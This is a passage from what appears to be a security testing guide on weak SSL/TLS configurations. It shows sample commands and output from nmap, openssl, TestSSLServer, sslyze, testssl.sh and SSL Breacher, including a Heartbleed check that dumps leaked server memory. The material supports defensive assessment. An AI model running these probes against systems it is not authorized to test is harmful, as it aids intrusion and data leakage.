| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
